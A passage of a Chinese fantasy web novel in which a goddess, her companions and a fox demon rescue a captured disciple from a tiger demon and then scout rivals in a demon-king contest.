妖王之争是妖界千年一次的盛会,统共分三轮完成。
第一轮考验众妖对天地万物的了解,只需在烈日下,持笔答完相关考题,再由妖官批改,计分高者进入下一轮。
今日烈日灼心,看客被晒得都躲了起来,众妖之首孟鸾在高台上坐镇,锐利的狼眼观察着下方的一举一动,谌己被她邀请到高台之上,共同谈笑风生。
朝临和承光则可怜巴巴地和众妖挤在一起,闻着他们身上各式的味道,享受着灵魂的洗涤。
莫问也是个有个性的妖,当别的妖都答完将考题上交,他才不紧不慢地动笔,看得朝临干着急,好在他掐着妖官敲钟的一瞬间上交了考题。
接着便瘫倒在烈日下。
两只蛇妖将他运出来,毫不留情地丢在朝临脚下,“快将
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这厮带走。”
朝临给他注入一丝内力,不见醒,只得让承光搭手把人扶到远处树下。
过一会,莫问睁了眼,第一句话便是讨伐朝临:“谁让你们偷我妖丹,我差些死在上面。”
“……”朝临自知理亏,好声好气道:“那你想我怎么做?”
莫问“哼”地一声,“晚了。”
承光蹙眉,将手中长剑指向莫问,“你别得寸进尺。”
莫问白了他一眼,“听清楚,是你们拿走我的妖丹,若是下一轮我斗不过他们,便是你们活该。”
“你……”
朝临按住承光的手,道:“我们是取了你的妖丹,可你迫害我在先,我并不觉得我们做得过了,况且,我们现在是在帮你,都是一条船上的蚂蚱,闹这些又有什么意思呢。”
莫问冷哼,承光转向别处,气氛一时陷入僵持。
朝临问莫问:“你接下来去哪?”
莫问抬眼,不耐道:“怎么,你还要管我吃饭不成?”
“……”朝临失了耐心,“承光,我们走吧。”
“嗯。”
才走出几步,二人都听见身后的妖大喊:“停停停,你们陪我去趟人界。”
朝临对谌己说了这件事,他远远回来一句:“注意安全。”
丑时,妖门大开。
三人一同到达人界,紫竹林阴沉依旧,夜色下,静谧充斥着这片空间,冷风无孔不入,朝临见承光也没穿长袄,问他为何不觉冷。
承光解释道,他掐了个御寒诀,这点冷于他而言不算什么。
他不吝教她,她却怎么也学不会。
当脑海里传来谌己冷冷一句“蠢货”时,她已经冻得快要分不清东南西北。
“帝君……”
“跟我念。”
是御寒诀,朝临跟着谌己念下一遍,竟觉得不那么冷了,应是御寒诀成功了。
“帝君,我不冷了!”
“……”谌己没理她了。
莫问抱着手,目睹完全程,不禁感叹道:“你真是我见过最废物的神族。”
朝临白他一眼,“关你什么事!”
承光早看莫问不顺眼,回呛道:“你这只妖嘴怎么如此臭,真不知道成为妖王后得多暴虐。”
“你才暴虐。”莫问不知被戳了那根筋,小怒一下,“你根本什么都不知道,不会你们天帝就是这般吧?以己度人,真是烂透了!”
“我懒得和你说!”承光背手离去,忽而拿出罗盘,盯着看了会,回来对朝临道:“朝临,附近有恶妖出没,我先去追它,你小心些。”
莫问唏嘘道:“你还能捉到妖?”
承光头也不回地走了。
“他是个好人。”莫问忽然道。
朝临:“嗯?”
“可惜是个死脑筋,早晚有一日要吃个亏。”
“你要干什么?”朝临催促道,“还不快些。”
“就你急……”
莫问轻车熟路地扎进一条小路,带着朝临蹲在残月阁附近。
“这儿为何多了道禁制?”莫问疑惑道。
朝临猜出个七七八八,鄙夷道:“你不会,经常来骚扰江残月吧?”
“……”莫问语塞,“怎么会,我那是,给她来送东西。”
“……”
朝临好奇他到底做了些什么,才让江残月这般厌恶。
“你怎么做的?”
“我就是……”莫问欲言又止,“休想套话。”
“告诉我,我就帮你。”
“我……我就是每次进她柴房偷点吃食,弄出些动静来,再将东西丢在柴房门口,看着她收下后就走。”
朝临:“……蠢货。”
“你闭嘴。”
“在她看来,你就是在骚扰。你想,一只九尾狐,几次三番冲到她家中,弄出一堆莫名其妙的事儿来,换成谁都想不通啊……”
朝临摇头,“我要是她,定要捉到你,然后把你吃了。”
“她不会吃我。”莫问正色道,“任何人见了九尾狐都会想吃,唯她不会。”
8. 死了多好
朝临不晓得莫问为何会这般确信,也不想多问,只道:“你在这藏好,我将东西送进去。”
莫问:“不可,此物认主,旁人切不可接触。”
朝临:“那你要如何?”
莫问道:“这禁制定是谌己所设,而你与他又是一起的,所以你只需注我一丝真气,将我身上的妖气稍做遮掩,我方可来去自如。”
朝临:谁允许你来去自如了。
她给莫问注了些真气,他撇撇嘴:“你们神族可真小气。”
朝临道:“那我让帝君来帮你?”
莫问在见到孟鸾将谌己请到高台之上后,露出无比惊讶的表情,拉着朝临问这人到底是什么身份,朝临跟他实话实说,至此,莫问听到谌己的名,便会忍不住面露恐惧。
“……算了,哪敢麻烦他老人家。”莫问干笑道,“我们一同进去,不然你跑了我都不知道。”
前厅大门紧闭,莫问鬼鬼祟祟地在柴房门口徘徊,嘴里念叨着:“今日为何锁门了?”
朝临没忍住问道:“你每回都是这个时辰来的吗?”
“怎么会,我以往都是晨间到访,才不像你这般缺心眼。”
“……你何不直接将此物放在门口,一定要弄出些声响来吵醒她?”
莫问粗暴地将锁打开,道:“这可是稀世珍宝,方圆百里的妖魔鬼怪都能感知到,随意丢放被偷走了怎么办。”
莫问从怀里掏出一个小香囊,从里头倒出一颗黑色丹药,“此物乃续命丹,是我九尾狐一脉珍宝,妖吃了能增长千年修为,人吃了则可延长五年寿命。”
朝临伸手:“给我一颗尝尝。”
莫问拉下脸,“对你没用,你又不是人。”
莫问将丹药装回去,拿出一个碗将香囊扣上,悠然地在柴房里翻找起来,最后挑一坛子酒,三两口饮尽,再将坛子一砸:
“哐!”
接着给朝临使眼色,“走!”
朝临对此目瞪口呆,直到二人爬上藏月阁后院墙角,确认江残月屋内烛光闪烁,才匆匆离去。
莫问一言不发地向东南而去,朝临开不了妖门,只得跟着他,半个时辰后在一处破宅子前停下。
四下漆黑,阴风阵阵,朝临难掩恐惧。埋怨道:“来这儿做什么?”
莫问:“要走也行,那个死脑筋死了就死了。”
“什么意思?”既与承光有关,朝临自无疑心,“承光他出事了吗?”
莫问冷哼一声,“真不知道谌己为何要救你这么一个手无缚鸡之力的神,连妖气都不会感知。”
朝临不想在这时与他打嘴炮,急道:“你能不能好好说话。”
“看好了。”莫问迅速掐出一个复杂的诀,“学去吧。”
“……”朝临悟性好,随意便学会了,眼间忽而淌入一股暖流,她看清了整座宅子迸发出的浓厚妖气,“这是?”
“妖气分为四道,即白、红、黑、紫,紫为最尊,只妖族皇室才有,黑为次尊,通常为大妖所修。”莫问沉沉道,“此处盘踞着一只大妖,你小心些。”
朝临问道:“你能感知到承光吗?”
莫问摇头,“你先躲好,我先进去探一探。”
“不行,很危……”
话音落,四只猫头鹰怪凭空出现,接受指令后往宅子里飞去。
“……”
朝临:“原来你养了这么多只猫头鹰怪。”
莫问将她推向角落,不满道:“这叫笑脸鹰!我好不容易才将其收服,哪有你说得那么云淡风轻。”
“……哦,那你若是看见什么,一定和我说。”
莫问打坐闭目,汗珠一颗一颗自鬓角落下,眉头越蹙越紧,一阵紊乱呼吸后,吐出一口鲜血。
“快,快……”他猛地朝前栽,朝临眼疾手快将人捞起,将他的气息调正,“你怎么样?”
“我没事。”莫问大喘了口气,“那个死脑筋他有事。”
“他……”朝临心急如焚,却也明了此时不能乱阵脚,她试着呼唤谌己,而虚空之中毫无回音。
莫问道:“别试了,他在妖界你在人界,二界禁制互立,万年不相通。”他抹把血沫子,起身又道:“他被那只虎妖五花大绑,也不知有无生息……此刻我们若是回去,他定会死在这里。”
朝临于慌乱下定气想了想,掐出敛息诀,“看来,不得不闯一闯了。”
莫问瞧她一眼,鄙夷道:“你这么苦大仇深做什么,我们又不会死。”他的气息骤然收敛,“进去后小心行事,别跟丢了。”
二人慢慢摸进宅子,穿过前厅,拐进小径,入眼是一座祠堂,妖气从此处向外扩散。
“承光就在里面。”莫问目光灼灼,“虎妖残暴却愚钝,我设法将她引开,你找准时机救他出来。”
二人分头行动,莫问在宅子外引了把火,那虎妖果然中招,咆哮着追他而去,朝临赶紧冲进去,果真见承光被五花大绑,失去了意识。
朝临扛着承光向外,打算往另个方向离去,而那虎妖不知何时赶了回来,竟在路上侯着二人。
她手里抓着已成本体的莫问,逐一打量战斗力根本无法持平的三人,目露凶光,“你们好大的胆子。”
莫问在她手中挣扎:“你个老妖精,妖界不回在这吃人,你等着下地狱吧!”
朝临替他捏了把汗,虎妖也不是好脾气,将他往石壁上一丢,“吵死了。”
虎妖步步紧逼,朝临被下了定身咒,无法动弹,只能死死盯着她,连呼吸都乱了节奏。
“你们是神?”虎妖问道。
“是。”
“那你们来人界干甚?来人界管我作甚?”虎妖眼中是无尽的盛怒,仿若被打扰是一个不可触碰的禁忌。
朝临道:“我们无意管你,只是意外进了这座宅子,我们……”
“哼!”虎妖一把将承光夺去,厉声道:“可他是!我给过他两次机会,他不会把握就是了。人界都说‘事不过三’,那这第三次,你说我该不该放过他?”
说着,她淡紫色眸光一变,红光溢出,朝临陷入绯红的世界,失去神智。
短暂的混沌后,她与莫问一同被悬挂在祠堂房梁之上,承光蜷在地上,不明情况。
那虎妖不知所踪,朝临将莫问踹醒,道:“你怎么还被打出原型了。”
“……她修为太高,破了我的魅术。”莫问低头瞧了眼,“死了。”
“……”朝临尚能感受到承光的气息,但猜不透他为何要假死,故顺着莫问的猜测,眼眶一红,“承光!承光!他是骗人的对不对,你快醒醒……”
莫问也面露悲悯之色,道:“你是个好人,若是我们能出去,定帮你寻个好山头,风风光光葬了。”
“承光!”
“死脑筋!”
二人哭得撕心裂肺,情真意切。
“闭嘴!”虎妖从牌位中出现,“坟
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留着给自己哭吧。”
她停在承光身边,谨慎地打量片刻,似乎是真的确认承光已死,才抬眼道:“我们做个交易如何?”
朝临道:“什么交易。”
“我可以放你们走,但我会消除你们今夜的记忆,只会记得他是被魔族挟持走了。”
莫问怒道:“你个恶妖,打得一手好算盘,我告诉你,爷爷我还就不答应了,你吃了我吧!”
“我们答应。”朝临“悲怆”地看着承光,“他已经死了,我们却有求生之志,你尽管消除记忆,我们绝对服从。”
“姑娘好俊杰。”虎妖将手一摆,二人掉下来,“闭眼,运息。”她要求道。
二人照做,在陷入黑暗的那一瞬,朝临见承光睁开了眼睛。
“……”
想象中的剧痛并未出现,记忆也都还在,虎妖的闷哼声成为变数。
长剑没入她的心脏,她美艳的脸上露出讥讽,转身一抓,承光与他的长剑,在虚空之中顿停,再狠狠落下。
“噗!”
承光吐出鲜血,半跪在地,眼见着朝临与莫问与他下场一样,却毫无办法。
朝临觉得五脏六腑都要碎了,好像就此要咽了气,承光手忙脚乱地将她搀起,“朝临,看着我,不要,不要闭眼……”
可她控制不住地想睡觉,太困了,要是有张床该多好。
“今日,你们谁都跑不了。”
朝临再度飞天,身体中的气息一丝丝往外泄去,最后身体像羽毛一般下落……
落在一个毫无情绪的怀抱里。
?
朝临被强制性唤醒,一睁眼还以为自己见到回马灯了,不然谌己怎么会凭空出现?
“帝,帝君?”
谌己垂眸,眼中竟有些怒意,开口还是那般冷冰冰:“你要是死了该多好,也免得我这番大费周章。”
他虽这么说着,却未将她就此丢下。
朝临想,要是谌己真的不再管她,那她还不如多抱抱他,反正也不吃亏。
于是她一股脑往他怀里钻,嗯,这样就不会再被抓走了。
“我当是谁呢,原来是大名鼎鼎的谌己帝君。”虎妖跳上祠堂之上,俯视着院子里的光景,“你们神族,总是喜欢管这么宽吗?”
“我最嫌麻烦。”谌己道,“但你绑我徒儿,伤我族人,我不得不管。”
“帝君,是你这徒儿屡次来冒犯我,今夜还叫了只九尾狐一同来围剿我,我怎么觉得,最吃亏是我呢?”
承己剑指虎妖,“你杀人饮血时为何不觉得自己吃亏?置同族性命为蝼蚁时又为何不觉吃亏?”
虎妖不为所动,寒风卷起她的发丝,她的脸,美得惊心动魄。
“那你们杀了我啊,恰好那妖王也在寻我,不如你们直接将我的项上人头上奉,看那妖王是感激,还是将你们都杀了。”
承光怒喝:“你!真不知道你这般穷凶极恶的妖是怎么活到现在的!”
虎妖笑道:“何为穷凶极恶?不过是你们欲加之罪,这世间本就是茹毛饮血,强者为尊,我有能耐,自然就活到了现在。”
“未训。”谌己盯着屋檐上的妖,“还不束手就擒。”
“不知帝君要以什么原因将我逮捕?”
“待回妖界,你可自行去问妖王。”
谌己布下天罗地网,印着妖王亲印的逮捕令缓缓在众人眼前呈开。
“逮捕令?”
9. 抱够了吗?
“她竟还未原谅我。”未训眼中露出些恍然,飞身下来,冷言道:“那就有劳帝君了。”
谌己道:“这天罗地网,是妖王特意为你准备的。”
“哼!”未训冷哼,“还怕我跑了不成。”
躲在宅外的妖族守卫进来将未训带走。待他们彻底远去后,朝临才松了口气。
“你还没抱够吗?”
谌己的声音重重落下,吓得她腿一软。
“啊,抱够了,抱够了……”
朝临松开手,极为不自然地往莫问身边走了走。
而莫问,在江残月与谌己一同赶来时,也变得紧张兮兮,甚至不敢往她那边瞧一眼。
江残月正帮承光检查伤势,长发落在后背,遮去脸上的阴影。
“怎么样?”谌己问。
“真气泄出,经脉爆裂,对他而言并无大碍。”江残月道,“稍后我给他拿些药草,修养几日即可。”
“嗯。”朝临被一阵力往前推,停在江残月身前,谌己继续道:“看看她还有几日可活。”
朝临:“江姑娘,我没什么事,你还是去看……”
“安静。”江残月让她闭嘴,将手覆在她额头之上,随即道:“近些日子死不了。”
谌己:“那就好。”
江残月又看向躲在承光身后的少年,谁料那人就跟眼有重疾一般,死活不肯看她一眼,“你……”
“我没事。”莫问抢先回道,想也不想:“不用帮我看。”
几人在残月阁落脚,莫问依旧借着朝临的真气进入禁制,江残月注意到二人的动作,并未多问。
巳时,众人纷纷清醒,江残月一早就准备好药膳,院子里弥漫着清淡的味道。
莫问将朝临拉到一旁,问道:“你说她会认出我吗?”
朝临被香得晕头转向,随口道:“大概不会,她只是个凡人,你有意隐藏,她应当认不出来。”
“可她是药修,虽未得道,但入妖界并无限制,连妖王都要高看她一眼。”莫问蔫儿吧唧的,“我怕她一早就认出我了,只是她为何不拆穿我?”
“……”朝临权当他乱想,江残月不想点破自有她的道理,他干着急又有何用?
“朝临,你们在说什么呢?”
承光从屋子里出来,被未训伤得不轻,走路一瘸一拐的。
莫问道:“你不好生修养,跑出来干什么?”
承光觉得他莫名其妙,直言道:“你又在打什么坏主意?”
莫问翻一个白眼,嗤道:“白救你了。”
“好了,都少说两句。”江残月端菜出来,“快来搭把手。”
五个各怀鬼胎的人,吃了一顿人间少有的饭。
古怪的气氛由谌己打破,他只是随口问江残月是否愿意一同去妖界,吓得莫问不自觉丢了筷子。
江残月默不作声地将筷子拾起,对谌己道:“帝君愿给几分薄面,是残月的荣幸,只是妖界危机四伏,我身子虚弱,怕是力不从心。”
承光道:“江姑娘,你是药修,众妖皆要看你一眼,除去某些离心的妖,大部分妖族生民都不会为难你。”
江残月垂眸不言,莫问偷偷掐朝临,唯恐她不劝。
朝临道:“江姑娘,不瞒你说,我们此行是助莫问夺得妖王之位,但前路免不了厮杀,确实需要一位如你一般的医者。”
江残月道:“可我并没有你们想得那么神通广大,也无心参与妖族纷争,还请另谋他人。”
莫问道:“江姑娘,我倒觉得你医术了得。”
“公子何出此言?”江残月眼中闪过一丝探究的神色。
“我……”莫问陷入纠结,终是不敢道出实话,“一年前,我一胞弟被恶妖所害,正是姑娘你将他捡到残月阁,救他一命。”
“那断了腿的九尾狐是你胞弟?”江残月有些意外,她一早就嗅出莫问身上的气息有些熟悉,没想到他竟是故人之兄。
莫问深吸一口气,应下来:“正是。”
朝临:此妖嘴里就没有一句真话。
“那还请莫公子替我对那只小狐狸说一声,以后切莫再往我这残月阁放珍宝了。”江残月淡淡道,“昨夜他摔碎我一坛子好酒,我好生心痛。”
莫问脸“唰”地一下红了,连带着朝临也心虚起来。
“……好。”
谌己道:“我们今夜启程,你再考虑半日。”
江残月:“多谢帝君谅解。”
承光午后要泡药浴,莫问怕累着江残月,屁颠屁颠跑去找存在感。朝临想去集市买两件衣裳,做了很多心理准备问谌己是否愿意与她一同前往。
谌己点了头。
哪怕时至午后,人界集市也是十分热闹的,街上各式摊贩竞相吆喝,琳琅满目的物品看得眼花。
“木雕娃娃!卖木雕娃娃了!”
响亮的声音撞入朝临的耳朵里,她找到那位蹲在角落的老者,看着满框子的木雕娃娃,一时走不动道。
“帝……”
遭了,来时没有说好该怎么叫他。
“那个,我想买这个。”她撒了个小娇,反正谌己不能当着人族的面针对她。
“……”
见谌己不说话,朝临意识到她来这么一出可能会影响到计划,于是改口道:“算了算了,先去看衣裳吧。”
老者笑道:“公子,她既喜欢就让她挑,也不贵,一个娃娃十文钱,两个娃娃十五文。”
朝临道:“老板,我们赶时间,下次再来买,谢谢您啊。”
她拉着谌己欲走,他忽然道:“不急,你看吧。”
“嗯?”朝临以为自己听错了,“你的意思是?”
谌己:“想走也可以。”
“那我还是买吧。”朝临笑眯眯的,拿起一早就看好的娃娃,一个眉头紧皱的小人,跟谌己有点像。
“只要一个吗?”老板问。
朝临看了看谌己,暗念他必不可能要,于是点点头,找出钱袋子,认真数出十文钱。
待她回头,谌己已经向前去了,朝临追上去,他抿着唇不说话,她便将娃娃在他眼前晃了晃。
“帝君,你有没有觉得这个小人特别像一个人?”
谌己冷冷瞥了眼:“莫不是你哪个面部崎岖的相好?如果真的是,那你的眼光可太差了。”
“……”吃错什么药了?
朝临将娃娃收起来,问道:“帝君,人间的衣裳贵不贵啊?”
谌己:“我看你也不缺钱。”
朝临弱弱道:“现在没有了。”
“……”
“没钱你还敢来。”谌己的话里带着淡淡的讥讽,“我是该夸你有勇气,还是缺心眼?”
“那不是因为帝君你也来了嘛。”朝临笑得谄媚,“帝君肯定有钱。”
“……”
经过这段时间的相处,
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朝临大致摸出谌己的性格,此人嘴比谁都要硬,需花心思去撬,撬松了,一切都好说。
“帝君玉树临风,五界闻名,谁来了都要高看一眼,这么一个完美的神,怎会没有钱呢?”
谌己却油盐不进:“你想怎么算利息?”
“……”
真的是!
“帝君,回神界后我又赚不了银子,您就通融通融,看在我们相识这么多天的份上,当做洒洒水如何?”
“不好。”谌己冷漠回绝,“先欠着吧。”
“帝君……”
朝临本处在还债的悲痛中,谁料那纺布阁的衣裳样式千奇百怪,瞬间将她的烦恼冲散掉,她兴冲冲地试了几十身衣裳,最后四肢实在是酸痛,这才作罢。
谌己虽始终一言不发,不曾催她。
朝临抱着精心挑选的四身衣裳,与谌己单方面商量:“帝君,我能多欠些钱吗?利息也加一些。”
谌己答应了,老板脸都要笑烂了,算盘珠子拨得飞快,最后算出的数字听得朝临心都要碎了。
怎么这么贵!
谌己干脆地付好钱,催着朝临快些走。
酉时至。
承光才泡完药浴,正在床上休息,谌己心系这位徒弟,一赶回来便去助他运气,江残月努力尽着地主之谊,又去厨房忙活了。
朝临和莫问也帮着打下手,二人先后发现江残月不太对劲。
一只灰色信鸽不知何时停在窗边,“咯咯”叫了两声,江残月忙将大刀丢下,着急忙慌地从信鸽脚底取出信纸,双手止不住地颤抖。
她讲信纸丢进火里,烧尽后变成烟和灰。
“莫问公子,劳烦你去帮我去柴房搬些木头来。”她未曾敛去眼中的落寞,话音是极致的平静,“朝临,如果可以的话,还请你去帮我跟帝君说一声,我愿意与你们一同前往……”
“江姑娘何不自己跟我说?”
谌己不知何时来到厨房口,看着三人道。
朝临赶紧推着莫问出去了,谌己进去后将门带上,再没有声音传出来。
莫问恼火:“要出你自己出,我要听听他们在说什么。”
朝临耸肩:“那你试试把门打开。”
“……”莫问在石桌旁坐下,“孤男寡女,独处一室,这……成何体统!”
朝临道:“谁家好人喜欢在厨房独处一室,谈烟火味的感情吗?”
“你又不懂!”莫问气得脸色发红,“你对谌己无意,自然可以这么想,而我对残月姑娘情深似海,此时又不知他们在说些什么,必然心急如焚。”
“你对残月情深似海……”朝临小声嘟囔,“而我对谌己无意……”
当真像他分析的一样吗?
她对谌己,是什么样的感情呢?
于理,她知道谌己有要事要与江残月说;于情的话,谌己单独与江残月待在一起,她好像是有些,不明缘由的不安。
“在想什么呢?”
谌己从屋内出来,看着各怀心事的两人,淡淡问道。
莫问不理他,小心绕开后冲进厨房,朝临因为问题还未想清楚,一时恍然。
“帝君,你这就出来了?”
谌己:“你想我待多久?”
“……啊,我以为你们有要事商讨。”
谌己慢慢走近,朝临受不了他若有所思的表情,刚想跑,忽然听见他说:“你脑子里到底在想些什么?”
10. 兔妖章传
“……没有。”朝临怕自己越解释越乱,干脆道:“其实是我饿了,想吃东西地紧,又怕帝君嫌我爱吃,这才……”
谌己双眼微眯,显然不信。
“饿了就吃,不用这般怯懦。”
朝临笑道:“谢谢帝君,那我去吃饭了?”
“等等,妖界生乱,妖王命人请我们速回妖界。”谌己道,“你赶紧装些吃食,即刻出发。”
这顿饭还未开席就已经结束,几人稍作收拾,一脚踏入妖门。
妖界边缘平静依旧,若是仔细往城内一看,就能见那妖王殿周围隐隐上升的战火。
莫问道:“怎么回事?这才一日,怎么就……”
承光问谌己:“帝君,我们该过去吗?”
谌己眉间带着难掩的霜寒之气,此番妖界的乱子似乎不小。
“江姑娘,你和朝临留在此处看着莫问,承光随我同去。”
莫问当即不服:“帝君殿下,我知道那妖王殿现下去不得,但你也不用这般看不起我吧。”
谌己对他一向没有耐心,闻言只淡淡回道:“随便你。”
“你……”他又犯了惧谌己的病,摆摆手不讲话了。
谌己与承光于是动身前去。
朝临与江残月在一旁偷笑。
莫问瞪朝临一眼,道:“我问问你,你知道为什么我现在不能去妖王殿吗?”
“当然知道!”朝临扬了扬下巴,“怕有人给你安上妄图谋权篡位的帽子。”
“行啊你,已经成功从缺心眼成长为了半缺心眼。”
“你!”
“好了。”江残月眉眼带笑,很享受此刻的欢乐,但谌己留给她一件正事,需要她领着眼前二人前去完成,“莫问,我们去拜访你的对手。”
江残月一出声,莫问的吊儿郎当就不知所踪,红着耳朵乖乖站好了,朝临对此十分无语。
笔测第二日,考场上依旧挤满了不同的妖,烈阳不减,晒得那些水底生物直吐舌头。
三人挤在围观者当中,难免听见些闲言碎语,这会他们已经在鞭策的话安在那妖王孟鸾第三个儿子符枝身上。
“听说那符枝从小武艺过人,就是在计谋上稍稍逊色,也不知能不能过这第一轮……”
“怎会过不了?孟鸾那厮最是护短,造假也得将这个宝贝儿子送进去。”
朝临掐出探息诀,找到在众妖中显得尤为出类拔萃的那只狼妖,指给江残月看了看。
江残月道:“这符枝样貌竟如此出众。”
“也马马虎虎吧。”莫问酸道。
江残月道:“莫问,符枝算不得你的对手,你真正要关注的,是那位——”
江残月指向角落中那只气定神闲的兔妖。
“据谌己所言,那妖名叫章传,修为深不可测,乃是一大劲敌。”
莫问看了看,讶然道:“我竟然看不透他的气息。”
“这就是他的不同之处,他很会隐藏,第三轮若是对上他……”江残月道,“转头就走。”
朝临道:“这些都是帝君同你说的吗?”
江残月点头。
莫问道:“江姑娘,看来谌己很是信任你啊。”酸得像吃了颗话梅。
“交易而已。”江残月如实道,“走吧,我们去会会他。”
章传从考场离开,三人一路追随,跟着他到一间茅草屋前,一位瞎了眼的老妪迎出来,“传儿回来了?”
“祖母,是我。”章传柔声道,牵上老妪的手,“我回来了。”
“今日笔测可还顺利?”
“祖母放心,一切都好。”
“如此甚好。”老妪面上露出诚心的笑,“祖母为你做了面条,快去吃。”
章传道:“祖母,你先去吃,有位朋友远道而来,我得去接他。”
“有朋友来啦?那我再去煮一碗,你定要将他……”
“祖母,您先吃,他不来家里。”
“那好,我先去吃,你快些回来。”
“嗯。”章传将老妪扶进门。
“三位一路跟踪,所为何事?”章传盯着树林中某处,缓缓道。
跟踪他一路的三个人逐一现身,目测最沉稳的那个人族道:“章公子耳听八方,残月佩服。”
朝临道:“章公子,我们想与你交个朋友。”
近看,章传是个温和的人,语气不轻不重,脸上始终保持着得体的笑。
“虽不知二位姑娘何时认识的我,但盛情难却,我交下你们二位朋友了。”章传客气道,“那这位公子?”
莫问不喜欢章传周身所透出的神秘气息,这令他尤为不安,但这步棋又不得不下,于是强忍不适道:“我叫莫问,是我想与公子交朋友。”
章传看了眼莫问身上所挂的妖牌,心中了然,笑道:“七日后第二轮考测,需四人成行,莫公子该不会为此事而来吧?”
“正是。”
“如此甚好。”章传道,“我没什么朋友,正愁无人组队,莫公子可谓是救我于水火之中。”
莫问在心中嗤之以鼻:“章公子言重了。”
“既如此,那我自我介绍一下,我姓章,单名一个传字,相信三位都看得出,我是一只兔妖。”
江残月道:“我是药修。”
朝临道:“我是狐妖。”
章传颔首:“没想到相识来得如此之快,三位朋友可否去愿意去寒舍吃碗面?”
江残月拱手,“吃面就不必了,既已交下朋友,就不再多做打扰。”
“那好,今后若有机会,我定请三位朋友,好好吃一顿饭。”
“好。”
离开章传的茅屋,朝临将心中疑问吐出:“我们为何要与他结盟?”
莫问道:“这家伙心机深沉,嘴上全是漂亮话,怕是个难缠的角色。”
“正是因为这一点。”江残月肯定道,“他是你最强劲的对手,你必须清楚他的一举一动。”
朝临道:“残月,第二轮考测我们可以一同前去吗?”
江残月摇头,“此事得问帝君。”
三人先一步回到木屋,谌己与承光赶回来时,夜色已然降临。
“看来你们已经见过那只兔妖了。”
谌己喝了杯茶,缓缓道。
朝临道:“嗯,他已经同意与莫问同行。”
莫问:“此妖定不简单,是个劲敌。”
“他底细不明,我前日听妖族皇室谈论过他,据说已经到了黑气阶段。”谌己意有所指,“下一轮,尽量摸清他的底牌。”
“知道了。”莫问懒洋洋道。
“这几日你多帮他调理内息。”谌己对一直保持沉默的江残月道,“你的事,我正在打听。”
“多谢帝君。”江残月退出谈话,到外面去了。
莫问追出去,承光摇头讽刺:“这小子没救了。”
朝临道:“承光,
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你说江残月到底知不知道他就是那只狐妖啊?”
“可能吧,江残月心思深沉,看出来也不会点破。”
“嗯,她总是叫人看不清。”朝临想到她与谌己那次不为人知的谈话,“总觉得她有个大秘密。”
“朝临,有时候心里装的东西太多,并不是一件好事。”承光道,“开心才是最重要的。”
“嗯。”
朝临见谌己一直不说话,主动问道:“帝君,今日那妖王殿发生什么事了?”
“妖界某些皇室为助未训越狱演的一出戏罢了。”谌己轻描淡写道。
“演戏?”
承光道:“未训与孟鸾原以姐妹相称,未训善妒,孟鸾夺得妖王之位后,她一气之下叛逃妖界,自此流浪人界,以人命为滋养,短短六百年便炼出千年的修为,因她作恶多端,妖王孟鸾忍无可忍,故将她缉拿归案。”
“只是她手段了得,诱骗了狱卒,又联合内奸将赤诡石盗走……”
朝临:“赤诡石?”
“那是助妖王修炼的法器。”谌己道,“只为妖王所用,若是离开妖王四十九日,则沦为废器。”
朝临道:“可这与我们没有多大关系吧?”
谌己先是点头,“所以那妖王将这赤诡石放在了第三轮的考测当中。”
“好吧。”朝临心塞,“妖王殿下果然名不虚传。”
第二日清晨,寒气还未完全消散,朝临被江残月叫醒。
“帝君说妖王有请,让我们快些收拾赶去妖界。”
朝临叹气,昏沉间喃喃道:“这才几日啊,妖王脸色变了一遭又一遭……”她艰难坐起身,“来时是她凶巴巴地让帝君不要掺和,后来又三番两次邀请帝君,真搞不懂。”
江残月道:“你少说两句,妖王或许有什么苦衷吧。”
朝临撇嘴,翻身下床,“没办法,既已入局,哪有不湿鞋的道理。”
妖王殿坐落在妖界正中央,四面环水,与居民区遥遥相隔,惶恐被惊扰。
到那妖王设席的地方,还需坐小船,慢慢荡过去。
这座水间殿堂尤为繁华,妖兵一圈围着一圈,有人早已侯在门外,见谌己,躬身拱手,道:“恭迎帝君,帝君请随我来。”
这个不苟言笑的蛇妖带着一行人穿过前殿,后殿并排站立的妖侍将他们领到石亭下,即刻便有人送来茶水与糕点。
蛇妖道:“帝君,殿下还有些公务未处理好,托我跟您道声歉。”
谌己道:“无妨,妖王如此用心款待,我等岂会有所怪责,烦请帮我转告她不必着急。”
“帝君宽宏。”蛇妖再次躬身,“那闻琥便先下去了。”
妖侍们将几人服侍地妥妥帖帖,朝临不太习惯,借机溜出石亭透气,莫问跟上来,操着不高的兴致道:“他们将我赶出来了。”
朝临道:“与我一同不好吗?”
“你个榆木脑袋。”莫问飞身跳上棵歪脖子树,目光晦暗不明,“总是避着我,他们就如此瞧不起我们妖吗?”
朝临抬头瞧着他:“未必,应当是有什么要紧事不方便让你听见,他们都不是那类人。”
“是吗?”莫问垂眸,似乎有些不解,语气中带着嘲讽:“你很了解他们吗?你就这么确定他们打心眼里平视妖族?”
“你到底怎么了?”朝临有些恼火,这些日子他们同吃同住,她早已将莫问归为自己人,现下听他这么一说,心中颇为不满。
11. 关心
“没什么。”莫问又恢复成了吊儿郎当的模样,并要挟道:“不许把我的话讲给他们听。”
朝临道:“哼!胆小鬼。”
“你才胆小鬼,我不信你对他们的做法一点意见都没有!”莫问有些激动,“既是一起的,他们三人却总是将你我二人排除在外。”
朝临意识到了些不对。
眼前的莫问,似乎变了个人。
他嘴上从来得理不饶人,但不会像此刻这般刁钻;虽然看着没个正形,骨子里却是个沉稳的人。
朝临偷偷掐探息诀,定眼一瞧,果真在他印堂处发现一股妖力。
她施法与之抗衡,徒劳无功。
“不知叨扰了哪位高手,还请您现身听听我们解释。”
朝临提高声量,冷静道。
莫问停下埋怨,道:“你到底有没有在听我说?”
朝临道:“你快下来,你被设计了。”
“你才被设计了,我清醒地很……”
一阵清风挂过,卷起树上的花瓣,自西南方猛然飞来一阵妖气,直向毫无防备的莫问。
“哎!”
莫问反应地倒也及时,未被击重,只是落地姿势不太好看。
“谁啊?出来我们好好打一架!”莫问气不打一处来,对着虚空发泄道。
“哼。”那人的声音自四面八方而来,“你入我宅院,险些坐坏我的树,又如此无赖,我要杀了你。”
“啊!”朝临被一阵力控制住,飞往角落。
妖气四聚,院子中央缓缓现出一个人来。
正是那符枝。
莫问丝毫不惧,看着他,露出笑:“哦,原来是三公子啊,抱歉抱歉,是我有眼不识泰山了,还请三殿下放过我朋友,我们这就走了。”
“你走不得。”符希冷冷道,“你看不出来吗,我是在保护她。”
莫问脸色微变,道:“你真要跟我打呀?”
“你说呢?”
符枝早已是备战姿态,身后黑气四起,“我倒要看看你这个不知天高地厚的家伙,到底有什么能耐!”
